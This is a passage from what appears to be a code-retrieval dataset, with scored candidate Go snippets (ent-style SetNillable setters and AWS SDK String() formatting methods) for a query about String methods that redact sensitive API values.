{\n\tif si != nil {\n\t\tdc.SetID(*si)\n\t}\n\treturn dc\n}", "title": "" }, { "docid": "f2deb0c9793c43968bd8772032b05611", "score": "0.5673082", "text": "func (tx *Transaction) SetID() {\n\tvar encoded bytes.Buffer\n\tvar hash [32]byte\n\n\tenc := gob.NewEncoder(&encoded)\n\terr := enc.Encode(tx)\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\thash = sha256.Sum256(encoded.Bytes())\n\ttx.ID = hash[:]\n}", "title": "" }, { "docid": "a94e45c7b9b78a8c1aa491489b7a8e36", "score": "0.56656164", "text": "func (ptc *PropertyTypeCreate) SetNillableWorkOrderTypeID(id *string) *PropertyTypeCreate {\n\tif id != nil {\n\t\tptc = ptc.SetWorkOrderTypeID(*id)\n\t}\n\treturn ptc\n}", "title": "" }, { "docid": "629211138219c67f0f309e924bbbcb81", "score": "0.566474", "text": "func (pu *PostUpdate) SetNillableSourceID(id *int) *PostUpdate {\n\tif id != nil {\n\t\tpu = pu.SetSourceID(*id)\n\t}\n\treturn pu\n}", "title": "" }, { "docid": "cd2accbb2fc86b848f9c2448ec3d2402", "score": "0.56633794", "text": "func (auo *AlertUpdateOne) SetNillableOwnerID(id *int) *AlertUpdateOne {\n\tif id != nil {\n\t\tauo = auo.SetOwnerID(*id)\n\t}\n\treturn auo\n}", "title": "" }, { "docid": "4a470b3a7dcb58ef75f2f80b5091e5ef", "score": "0.5654487", "text": "func (cu *ConfigareaUpdate) SetNillableDistrictID(i *int) *ConfigareaUpdate {\n\tif i != nil {\n\t\tcu.SetDistrictID(*i)\n\t}\n\treturn cu\n}", "title": "" }, { "docid": "dacdb1ff541343e6f12642250636dde7", "score": "0.56498605", "text": "func (mc *MenuCreate) SetNillableOwnerID(id *int) *MenuCreate {\n\tif id != nil {\n\t\tmc = mc.SetOwnerID(*id)\n\t}\n\treturn mc\n}", "title": "" }, { "docid": "d21b66c479a4c05366f822fb6eb55a83", "score": "0.564514", "text": "func (cu *ConfigareaUpdate) SetNillableProvinceID(i *int) *ConfigareaUpdate {\n\tif i != nil {\n\t\tcu.SetProvinceID(*i)\n\t}\n\treturn cu\n}", "title": "" }, { "docid": "6114d33592c306a11ee8a75c38b0a005", "score": "0.5641866", "text": "func (rc *RepairinvoiceCreate) SetNillableLeaseID(id *int) *RepairinvoiceCreate {\n\tif id != nil {\n\t\trc = rc.SetLeaseID(*id)\n\t}\n\treturn rc\n}", "title": "" }, { "docid": "c93e7f4f16fb7719ee00c148782b1d7f", "score": "0.5637123", "text": "func (dmuo *DeathMannerUpdateOne) SetNillableMetadataID(id *int) *DeathMannerUpdateOne {\n\tif id != nil {\n\t\tdmuo = dmuo.SetMetadataID(*id)\n\t}\n\treturn dmuo\n}", "title": "" }, { "docid": "9d1baa0d162542e40f132974e8198ef0", "score": "0.56351775", "text": "func (etu *EquipmentTypeUpdate) SetNillableCategoryID(id *int) *EquipmentTypeUpdate {\n\tif id != nil {\n\t\tetu = etu.SetCategoryID(*id)\n\t}\n\treturn etu\n}", "title": "" }, { "docid": "414438115131ca540b4c073a85264ed1", "score": "0.5626777", "text": "func (kuo *KeyUpdateOne) SetNillableMachineID(id *int) *KeyUpdateOne {\n\tif id != nil {\n\t\tkuo = kuo.SetMachineID(*id)\n\t}\n\treturn kuo\n}", "title": "" }, { "docid": "1d958d8e40ddb9fd9140c0fb9e3a991d", "score": "0.5626018", "text": "func (cu *CardUpdate) SetNillableOwnerID(id *string) *CardUpdate {\n\tif id != nil {\n\t\tcu = cu.SetOwnerID(*id)\n\t}\n\treturn cu\n}", "title": "" }, { "docid": "33848560afe1a6b49da87c1173fe0f6b", "score": "0.5617663", "text": "func (pc *PatientCreate) SetNillableSystemmemberID(id *int) *PatientCreate {\n\tif id != nil {\n\t\tpc = pc.SetSystemmemberID(*id)\n\t}\n\treturn pc\n}", "title": "" }, { "docid": "dfe2e1f5ba5002d895d46611f17b81b0", "score": "0.5608644", "text": "func (ku *KeyUpdate) SetNillableMachineID(id *int) *KeyUpdate {\n\tif id != nil {\n\t\tku = ku.SetMachineID(*id)\n\t}\n\treturn ku\n}", "title": "" }, { "docid": "cf237797a04dfdb81c7c173f2848dda6", "score": "0.5607749", "text": "func (tu *TimerUpdate) SetNillableProjectid(s *string) *TimerUpdate {\n\tif s != nil {\n\t\ttu.SetProjectid(*s)\n\t}\n\treturn tu\n}", "title": "" }, { "docid": "548ddbd6d2247ceeb7b4f01677ed0d98", "score": "0.56067955", "text": "func (ntdmu *NetTopologyDeviceMapUpdate) SetNillableOnTopologyID(id *int) *NetTopologyDeviceMapUpdate {\n\tif id != nil {\n\t\tntdmu = ntdmu.SetOnTopologyID(*id)\n\t}\n\treturn ntdmu\n}", "title": "" }, { "docid": "a571ba9875a615640cca44aa836fbecf", "score": "0.56064737", "text": "func (swfsu *SurveyWiFiScanUpdate) SetNillableLocationID(id *string) *SurveyWiFiScanUpdate {\n\tif id != nil {\n\t\tswfsu = swfsu.SetLocationID(*id)\n\t}\n\treturn swfsu\n}", "title": "" }, { "docid": "33da2269af3257489f271067e45303a5", "score": "0.5603577", "text": "func (tu *TimerUpdate) SetNillableUserid(s *string) *TimerUpdate {\n\tif s != nil {\n\t\ttu.SetUserid(*s)\n\t}\n\treturn tu\n}", "title": "" }, { "docid": "34ee13feed40a329f384220690b84c29", "score": "0.56029415", "text": "func (ec *EquipmentCreate) SetNillableExternalID(s *string) *EquipmentCreate {\n\tif s != nil {\n\t\tec.SetExternalID(*s)\n\t}\n\treturn ec\n}", "title": "" }, { "docid": "2d7b5b0492b41267339892596f032c33", "score": "0.5601011", "text": "func (tc *TransactionCreate) SetNillableMerchantCode(s *string) *TransactionCreate {\n\tif s != nil {\n\t\ttc.SetMerchantCode(*s)\n\t}\n\treturn tc\n}", "title": "" }, { "docid": "a370ebc0e8c059f7110126984a3cf303", "score": "0.56004846", "text": "func (cuo *CardUpdateOne) SetNillableOwnerID(id *string) *CardUpdateOne {\n\tif id != nil {\n\t\tcuo = cuo.SetOwnerID(*id)\n\t}\n\treturn cuo\n}", "title": "" }, { "docid": "921957784ebcd0fa8c8d24a3e9bea5d6", "score": "0.56004226", "text": "func (duo *DentalappointmentUpdateOne) SetNillablePersonnelID(id *int) *DentalappointmentUpdateOne {\n\tif id != nil {\n\t\tduo = duo.SetPersonnelID(*id)\n\t}\n\treturn duo\n}", "title": "" }, { "docid": "575a64a1df5a88fdf8bf6592e4b1ab69", "score": "0.56002593", "text": "func (cc *CardCreate) SetNillableOwnerID(id *string) *CardCreate {\n\tif id != nil {\n\t\tcc = cc.SetOwnerID(*id)\n\t}\n\treturn cc\n}", "title": "" }, { "docid": "444438eca2b5925380b18b7eb5881c14", "score": "0.5599054", "text": "func (bu *BulkUpdate) SetNillableTransfertobankaccount(f *float64) *BulkUpdate {\n\tif f != nil {\n\t\tbu.SetTransfertobankaccount(*f)\n\t}\n\treturn bu\n}", "title": "" }, { "docid": "7b404a66ead4ec9082037dd10760a936", "score": "0.55980486", "text": "func (ru *RegisterstoreUpdate) SetNillableUserID(id *int) *RegisterstoreUpdate {\n\tif id != nil {\n\t\tru = ru.SetUserID(*id)\n\t}\n\treturn ru\n}", "title": "" }, { "docid": "06df7dadbaf56fe80b48bfbf84223f16", "score": "0.5597586", "text": "func (eguo *EventGroupUpdateOne) SetNillableParentID(id *int) *EventGroupUpdateOne {\n\tif id != nil {\n\t\teguo = eguo.SetParentID(*id)\n\t}\n\treturn eguo\n}", "title": "" }, { "docid": "63c3e85c6dae8b1fc949fecabee9ca6d", "score": "0.5597432", "text": "func (suo *SettlementUpdateOne) SetNillableHarborID(id *int) *SettlementUpdateOne {\n\tif id != nil {\n\t\tsuo = suo.SetHarborID(*id)\n\t}\n\treturn suo\n}", "title": "" }, { "docid": "3224d6b34ca6e9f7e12f37433a82b444", "score": "0.55930185", "text": "func (tc *TransactionCreate) SetNillableOriginatingCurrencyCode(s *string) *TransactionCreate {\n\tif s != nil {\n\t\ttc.SetOriginatingCurrencyCode(*s)\n\t}\n\treturn tc\n}", "title": "" }, { "docid": "aa742546f9d6167d8f1e92434ac10315", "score": "0.55916893", "text": "func (swfsu *SurveyWiFiScanUpdate) SetNillableLocationID(id *int) *SurveyWiFiScanUpdate {\n\tif id != nil {\n\t\tswfsu = swfsu.SetLocationID(*id)\n\t}\n\treturn swfsu\n}", "title": "" }, { "docid": "a59e5473434807068398abac8f8f9275", "score": "0.5590967", "text": "func (m *OutboundDealMutation) SetTransactionID(id int) {\n\tm.transaction = &id\n}", "title": "" }, { "docid": "0e45274bdad454ebd6c8f19fe3396f5f", "score": "0.558811", "text": "func (cuo *ConfigareaUpdateOne) SetNillableDistrictID(i *int) *ConfigareaUpdateOne {\n\tif i != nil {\n\t\tcuo.SetDistrictID(*i)\n\t}\n\treturn cuo\n}", "title": "" }, { "docid": "ba1b9cea4fea573b9a3f0fe36b5cae23", "score": "0.5582125", "text": "func (cu *CustomerUpdate) SetNillablePersonalID(id *int) *CustomerUpdate {\n\tif id != nil {\n\t\tcu = cu.SetPersonalID(*id)\n\t}\n\treturn cu\n}", "title": "" }, { "docid": "6a8df650fcdca3ea5a56e06e703094bc", "score": "0.5581962", "text": "func (ec *EquipmentCreate) SetNillableLocationID(id *int) *EquipmentCreate {\n\tif id != nil {\n\t\tec = ec.SetLocationID(*id)\n\t}\n\treturn ec\n}", "title": "" }, { "docid": "168a2641cfb9a110a2afe57c168a7e5e", "score": "0.55814743", "text": "func (fc *FileCreate) SetNillableOwnerID(id *string) *FileCreate {\n\tif id != nil {\n\t\tfc = fc.SetOwnerID(*id)\n\t}\n\treturn fc\n}", "title": "" } ]
658727b2eff88aa6d102d97869f9ac9d
String returns the string representation. API parameter values that are decorated as "sensitive" in the API will not be included in the string output. The member name will be present, but the value will be replaced with "sensitive".
[ { "docid": "56ea9f4474b3aa91e06dccba07a3ffe0", "score": "0.0", "text": "func (s FieldValidationMessage) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" } ]
[ { "docid": "01aa6964793db8db3a8d2bb1e94f5a82", "score": "0.63568854", "text": "func (p InvParam) String() string {\n\tswitch p {\n\tcase BytesSize:\n\t\treturn \"BytesSize\"\n\tcase KeysCount:\n\t\treturn \"KeysCount\"\n\t}\n\n\tpanic(\"Unknown InvParam: \" + strconv.Itoa(int(p)))\n}", "title": "" }, { "docid": "4ef987fe3192563c6dca972fb1a50812", "score": "0.63250476", "text": "func (v *ParamsStruct) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [1]string\n\ti := 0\n\tfields[i] = fmt.Sprintf(\"UserUUID: %v\", v.UserUUID)\n\ti++\n\n\treturn fmt.Sprintf(\"ParamsStruct{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "8a5a12466c6811f56a7bcda917f55a4a", "score": "0.6295053", "text": "func (s *Systemmember) String() string {\n\tvar builder strings.Builder\n\tbuilder.WriteString(\"Systemmember(\")\n\tbuilder.WriteString(fmt.Sprintf(\"id=%v\", s.ID))\n\tbuilder.WriteString(\", Systemmember_Name=\")\n\tbuilder.WriteString(s.SystemmemberName)\n\tbuilder.WriteString(\", Password=\")\n\tbuilder.WriteString(s.Password)\n\tbuilder.WriteByte(')')\n\treturn builder.String()\n}", "title": "" }, { "docid": "7422e92ddcee98e4ae227fd7e12e513f", "score": "0.6222449", "text": "func (s GroupMember) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "ea98e45b6b5627266bea3540df3580ff", "score": "0.60865074", "text": "func (api *API) String() string {\n\treturn fmt.Sprintf(\"API(ID=%v, URL=%v, APIVerb=%v)\", api.ID, api.URL, api.APIVerb)\n}", "title": "" }, { "docid": "a98344e2ba45867a1c7a2aba22eb9436", "score": "0.6071955", "text": "func (i invocation) String() string {\n\treturn fmt.Sprintf(\"%s %s\", i.name, strings.Join(i.allArgs(), \" \"))\n}", "title": "" }, { "docid": "242e82a0a19dcbc9b6c9d9c9435dd219", "score": "0.6047891", "text": "func (p Param) String() string {\n\treturn p.name\n}", "title": "" }, { "docid": "a38e5940fa335dd8c89de4e6f6fe0c13", "score": "0.6029003", "text": "func (p *param) string() string {\n\tres := []byte(p.name + \" \")\n\n\tres = append(res, p.typ()...)\n\n\treturn string(res)\n}", "title": "" }, { "docid": "d4b2d1752651c430f389fb8fdb8d0625", "score": "0.601634", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Params:\n Unbonding Time: %s\n Max Validators: %d\n Max Entries: %d\n Bonded Coin Denom: %s`, p.UnbondingTime,\n\t\tp.MaxValidators, p.MaxEntries, p.BondDenom)\n}", "title": "" }, { "docid": "620a6c171cfa90973b9d5890650785a1", "score": "0.59929407", "text": "func (p Provider) String() string {\n\tres := fmt.Sprintf(`Deployment\n\tOwner: %s\n\tHostURI: %s\n\tAttributes: %v\n\t`, p.Owner, p.HostURI, p.Attributes)\n\n\tif !p.Info.IsEmpty() {\n\t\tres += fmt.Sprintf(\"Info: %v\\n\", p.Info)\n\t}\n\treturn res\n}", "title": "" }, { "docid": "3818edbf94c07e4b9093a385052a9d8e", "score": "0.59876984", "text": "func (s KeyUsagePropertyFlags) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "540636a34adb1a7967a6f8d5aa0c8445", "score": "0.5986722", "text": "func (s UpdateParam) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "2719e5463c4a14b720950dc7b5311de5", "score": "0.5984965", "text": "func (c SandstormApi) String() string {\n\treturn fmt.Sprintf(\"%T(%v)\", c, capnp.Client(c))\n}", "title": "" }, { "docid": "da6270b609c9eb834149433d1f7b9d17", "score": "0.5914541", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Params:\n Unstaking Time: %s\n Max Validators: %d\n Stake Coin Denom: %s\n Minimum Stake: \t %d\n MaxEvidenceAge: %s\n SignedBlocksWindow: %d\n MinSignedPerWindow: %s\n DowntimeJailDuration: %s\n SlashFractionDoubleSign: %s\n SlashFractionDowntime: %s\n SessionBlockFrequency %d\n Proposer Allocation %d\n DAO allocation %d`,\n\t\tp.UnstakingTime,\n\t\tp.MaxValidators,\n\t\tp.StakeDenom,\n\t\tp.StakeMinimum,\n\t\tp.MaxEvidenceAge,\n\t\tp.SignedBlocksWindow,\n\t\tp.MinSignedPerWindow,\n\t\tp.DowntimeJailDuration,\n\t\tp.SlashFractionDoubleSign,\n\t\tp.SlashFractionDowntime,\n\t\tp.SessionBlockFrequency,\n\t\tp.ProposerAllocation,\n\t\tp.DAOAllocation)\n}", "title": "" }, { "docid": "3622035dd78be1c999194c94b8e448bc", "score": "0.59048027", "text": "func (o VserverPeerGetIterRequestDesiredAttributes) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "7176b5fbd92b92fb6d7692b988128610", "score": "0.5894606", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Params:\n UnbondingTime: %s\n MaxValidators: %d\n MaxKeyNodes: %d\n MaxEntries: %d\n MaxCandidateKeyNodeHeartbeatInterval: %d\n BondDenom: %s\n MinValidatorDelegation: %s\n MinKeyNodeDelegation: %s`,\n\t\tp.UnbondingTime, p.MaxValidators, p.MaxKeyNodes, p.MaxEntries, p.MaxCandidateKeyNodeHeartbeatInterval,\n\t\tp.BondDenom, p.MinValidatorDelegation.String(), p.MinKeyNodeDelegation.String())\n}", "title": "" }, { "docid": "9bb275c943c0beef4334eec2d071bab3", "score": "0.5888211", "text": "func (s ServiceMemberAffiliation) String() string {\n\treturn string(s)\n}", "title": "" }, { "docid": "3ffc25a4edc5ca7652c4750de89130eb", "score": "0.5880884", "text": "func (s Parameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "9fabcb7f46be5a3190d0f03070d02857", "score": "0.58566767", "text": "func (s TeradataParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "cca945207fb00f0f36c707031770f15c", "score": "0.58272713", "text": "func (s FindMatchesParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "612662a0b4743ca8d4d9be2102cb5d6b", "score": "0.58261484", "text": "func (o SnapmirrorInfoType) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "4dbcf4e917e2636916cf8b979f3d6134", "score": "0.58059764", "text": "func (s AuthInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "107d9ae25b5bb5f0efc1b21eb657e2e8", "score": "0.5804932", "text": "func (s ServiceNowParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "773ad15412af46740aafdd1afa28c4c8", "score": "0.5802966", "text": "func (s SigningProfileParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e53d73a1f0b48ee97950cf87755a5aa4", "score": "0.5794836", "text": "func (p MemberPhase) String() string {\n\treturn string(p)\n}", "title": "" }, { "docid": "688c90c02e605d9d4d7bd3536d8860ce", "score": "0.57901657", "text": "func (p Params) String() string {\n\treturn fmt.Sprintf(`Auction Params:\n\tMax Auction Duration: %s\n\tBid Duration: %s\n\tIncrement Surplus: %s\n\tIncrement Debt: %s\n\tIncrement Collateral: %s`,\n\t\tp.MaxAuctionDuration, p.BidDuration, p.IncrementSurplus, p.IncrementDebt, p.IncrementCollateral)\n}", "title": "" }, { "docid": "2f7820e821041f9829c4fdd36133b3ae", "score": "0.57898766", "text": "func (s SnowflakeParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "e988010bbe0a9e1db934209b8b5bcc6f", "score": "0.5770228", "text": "func (v *QueryParamsOptsStruct) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [4]string\n\ti := 0\n\tfields[i] = fmt.Sprintf(\"Name: %v\", v.Name)\n\ti++\n\tif v.UserUUID != nil {\n\t\tfields[i] = fmt.Sprintf(\"UserUUID: %v\", *(v.UserUUID))\n\t\ti++\n\t}\n\tif v.AuthUUID != nil {\n\t\tfields[i] = fmt.Sprintf(\"AuthUUID: %v\", *(v.AuthUUID))\n\t\ti++\n\t}\n\tif v.AuthUUID2 != nil {\n\t\tfields[i] = fmt.Sprintf(\"AuthUUID2: %v\", *(v.AuthUUID2))\n\t\ti++\n\t}\n\n\treturn fmt.Sprintf(\"QueryParamsOptsStruct{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "b0831d56d78eb25a6bd124b5253a8818", "score": "0.5769975", "text": "func (s AthenaParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f1b758e5865c8ab1a46d5df02c34efbf", "score": "0.5765286", "text": "func (af additionalField) String() string {\n\tkey := strings.TrimPrefix(af.key, \"_\")\n\treturn fmt.Sprintf(\"%s=%v\", color.MagentaString(key), af.value)\n}", "title": "" }, { "docid": "2bf29bb7788b0325d56f79f403b0399c", "score": "0.5740845", "text": "func (s GroupConfigurationParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7636368760d495cf80bff6d187b32e57", "score": "0.57292986", "text": "func (s KeyUsageFlags) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1050fda86d17f688f12ea9cf1ca474f4", "score": "0.572508", "text": "func (s StringParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "fdcb7c512f5a3219c5207b118956b76b", "score": "0.57198054", "text": "func (s AccessLevelFilter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6889ace6d51031a4769b7becf1b14236", "score": "0.57133865", "text": "func (p *Properties) String() string {\n\ts := p.Wire\n\ts += \",\" + strconv.Itoa(p.Tag)\n\tif p.Required {\n\t\ts += \",req\"\n\t}\n\tif p.Optional {\n\t\ts += \",opt\"\n\t}\n\tif p.Repeated {\n\t\ts += \",rep\"\n\t}\n\tif p.Packed {\n\t\ts += \",packed\"\n\t}\n\ts += \",name=\" + p.OrigName\n\tif p.JSONName != \"\" {\n\t\ts += \",json=\" + p.JSONName\n\t}\n\tif p.Proto3 {\n\t\ts += \",proto3\"\n\t}\n\tif p.Oneof {\n\t\ts += \",oneof\"\n\t}\n\tif len(p.Enum) > 0 {\n\t\ts += \",enum=\" + p.Enum\n\t}\n\tif p.HasDefault {\n\t\ts += \",def=\" + p.Default\n\t}\n\treturn s\n}", "title": "" }, { "docid": "f51931e441557ea0755a24c5d17f8d8a", "score": "0.56971616", "text": "func (s FolderMember) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b82daa42075d9552a51df39c0b827bc3", "score": "0.5687385", "text": "func (s ActionParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a102628683574cfd3b9b626c5ef060f3", "score": "0.5680379", "text": "func (v *QueryParamsStruct) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [5]string\n\ti := 0\n\tfields[i] = fmt.Sprintf(\"Name: %v\", v.Name)\n\ti++\n\tif v.UserUUID != nil {\n\t\tfields[i] = fmt.Sprintf(\"UserUUID: %v\", *(v.UserUUID))\n\t\ti++\n\t}\n\tif v.AuthUUID != nil {\n\t\tfields[i] = fmt.Sprintf(\"AuthUUID: %v\", *(v.AuthUUID))\n\t\ti++\n\t}\n\tif v.AuthUUID2 != nil {\n\t\tfields[i] = fmt.Sprintf(\"AuthUUID2: %v\", *(v.AuthUUID2))\n\t\ti++\n\t}\n\tfields[i] = fmt.Sprintf(\"Foo: %v\", v.Foo)\n\ti++\n\n\treturn fmt.Sprintf(\"QueryParamsStruct{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "cf2556e7d19d4db94ba897ec78eb8ce8", "score": "0.5678314", "text": "func (s BackendAPIAuthType) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "f22d9114d24746c8de07c97a5a480a3f", "score": "0.5676977", "text": "func (s MariaDbParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "b0e9eb03ac1acff7d77526fa4a7c9763", "score": "0.5672561", "text": "func (s *SecurityGroup) String() string {\n\treturn fmt.Sprintf(\"id=%s/name=%s\", s.ID, s.Name)\n}", "title": "" }, { "docid": "b94dc708cf884aaff1358adbf52dc726", "score": "0.5668062", "text": "func String() string {\n\treturn fmt.Sprintf(\"%s %v Protocol %s %s\", Name, Version,\n\t\tprotocol.ProtocolCompat, Additional)\n}", "title": "" }, { "docid": "4e772796cd7453f647e1840c6cc8255e", "score": "0.5665765", "text": "func (s ExasolParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "14bb225a5bc3c710e0542334cfbc5d8b", "score": "0.565625", "text": "func (msg MsgUpdateAttributeRequest) String() string {\n\tout, _ := yaml.Marshal(msg)\n\treturn string(out)\n}", "title": "" }, { "docid": "2537643a4d071d1910ad417707ce36dd", "score": "0.5649087", "text": "func (s DecimalParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6c28c8aaca1d6e615b02ba1a0fe23fa4", "score": "0.56471556", "text": "func (ba SettingsAttributes) String(name string) string {\n\tif val, ok := ba[name]; ok {\n\t\treturn fmt.Sprintf(\"%v\", val)\n\t}\n\n\treturn \"\"\n}", "title": "" }, { "docid": "c516a84d056f26c8399e10d8c425f8d5", "score": "0.56353176", "text": "func (m *memberlist) String() string {\n\tm.members.RLock()\n\tstr, _ := json.Marshal(m.members.list) // will never return error (presumably)\n\tm.members.RUnlock()\n\treturn string(str)\n}", "title": "" }, { "docid": "ddaa7f3ca980afdb1a3b765eed303f19", "score": "0.56347346", "text": "func (this *AuthenticationInfo) String() string {\n\treturn this.headerName + core.SIPSeparatorNames_COLON +\n\t\tcore.SIPSeparatorNames_SP + this.EncodeBody() + core.SIPSeparatorNames_NEWLINE\n}", "title": "" }, { "docid": "6e4534d097926bf78e30faa03a4dbfa2", "score": "0.56288606", "text": "func (s EncryptionInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6e4534d097926bf78e30faa03a4dbfa2", "score": "0.56288606", "text": "func (s EncryptionInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "6e4534d097926bf78e30faa03a4dbfa2", "score": "0.56288606", "text": "func (s EncryptionInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "769287ffe8292f890bc58a173ae91995", "score": "0.5626126", "text": "func (d Definition) String() string {\n\treturn fmt.Sprintf(\"%s contains %v\", d.Name, d.PropertyMap)\n}", "title": "" }, { "docid": "da7fc379fb913b44067ba8bb174f7762", "score": "0.56244516", "text": "func (p *MigProfileInfo) String() string {\n\tvar suffix string\n\tif len(p.Attributes) > 0 {\n\t\tsuffix = \"+\" + strings.Join(p.Attributes, \",\")\n\t}\n\tif p.C == p.G {\n\t\treturn fmt.Sprintf(\"%dg.%dgb%s\", p.G, p.GB, suffix)\n\t}\n\treturn fmt.Sprintf(\"%dc.%dg.%dgb%s\", p.C, p.G, p.GB, suffix)\n}", "title": "" }, { "docid": "a2809403ae1c50b54893bb2151e19ccb", "score": "0.56217986", "text": "func (s UserInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "a2809403ae1c50b54893bb2151e19ccb", "score": "0.56217986", "text": "func (s UserInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "27cdd9d7c54d5bf70d65a87059a69fe5", "score": "0.5619833", "text": "func (p Purpose) String() string {\n\tif value, ok := purposeMarshal[p]; ok {\n\t\treturn value\n\t}\n\n\treturn purposeMarshal[PurposeVerify]\n}", "title": "" }, { "docid": "b560884a756c48de74c88e5daae702b6", "score": "0.5616317", "text": "func (s Parameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "43654c6e33398016c8cddf8e27e2eee5", "score": "0.5613377", "text": "func (v *AddSearchAttributeRequest) String() string {\n\tif v == nil {\n\t\treturn \"<nil>\"\n\t}\n\n\tvar fields [2]string\n\ti := 0\n\tif v.SearchAttribute != nil {\n\t\tfields[i] = fmt.Sprintf(\"SearchAttribute: %v\", v.SearchAttribute)\n\t\ti++\n\t}\n\tif v.SecurityToken != nil {\n\t\tfields[i] = fmt.Sprintf(\"SecurityToken: %v\", *(v.SecurityToken))\n\t\ti++\n\t}\n\n\treturn fmt.Sprintf(\"AddSearchAttributeRequest{%v}\", strings.Join(fields[:i], \", \"))\n}", "title": "" }, { "docid": "37f061fd711936c7a11d7a95bdf4fbde", "score": "0.56062365", "text": "func (s UpdateProvisioningParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "c4e6f78ab9efc3d2adc595555cbc1742", "score": "0.5603422", "text": "func (s TwitterParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "fafd22c80468fed6306bc8c7bd78b444", "score": "0.5600742", "text": "func (s PassThroughSettings) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "5370a3268852f6091878ea71d78f9260", "score": "0.5599383", "text": "func (o LunUnmapRequest) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "1cccefeaaf2eb268fb451df170f924c4", "score": "0.55909127", "text": "func (a activation) String() string {\n\tvar buf bytes.Buffer\n\tbuf.WriteString(a.Name)\n\tif a.version != nil {\n\t\tbuf.WriteRune(space)\n\t\tbuf.WriteString(a.version.String())\n\t}\n\treturn buf.String()\n}", "title": "" }, { "docid": "34f1f867fecec19b72af28de6ea47689", "score": "0.5588166", "text": "func (*cmdParams) String() string { return \"\\\"key=value\\\"\" }", "title": "" }, { "docid": "f03e58b3a35627fc881a91f47d0bca1c", "score": "0.5577884", "text": "func (s NiftyModifyCustomerGatewayAttributeOutput) String() string {\n\treturn nifcloudutil.Prettify(s)\n}", "title": "" }, { "docid": "e70264b5141f287728d8cca08f161d9f", "score": "0.55774957", "text": "func (o NvmeInterfaceInfoType) String() string {\n\treturn ToString(reflect.ValueOf(o))\n}", "title": "" }, { "docid": "7ce1504713b7bab365ea146e3b0f29dd", "score": "0.557517", "text": "func (s PermissionInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "7ce1504713b7bab365ea146e3b0f29dd", "score": "0.557517", "text": "func (s PermissionInfo) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "70654039945d2320f4eee3aa3a793d94", "score": "0.5570378", "text": "func (s KeyValuePair) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "70654039945d2320f4eee3aa3a793d94", "score": "0.5570378", "text": "func (s KeyValuePair) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "4de885385fadb3f25df3d3b83ac9c3ef", "score": "0.55648315", "text": "func (v Value) String() string {\n\treturn v.Format(OutFormatDebug)\n}", "title": "" }, { "docid": "c99526bf724daf27e2198e49fd1436a9", "score": "0.55645084", "text": "func (s AuroraParameters) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1d4e7d34766971f14676e1ed1bb0333d", "score": "0.55641854", "text": "func (s DocumentParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "1d4e7d34766971f14676e1ed1bb0333d", "score": "0.55641854", "text": "func (s DocumentParameter) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { "docid": "53cc1b0266be65c6a21d9942a3735ea5", "score": "0.556244", "text": "func (s PublicAccess) String() string {\n\treturn awsutil.Prettify(s)\n}", "title": "" }, { 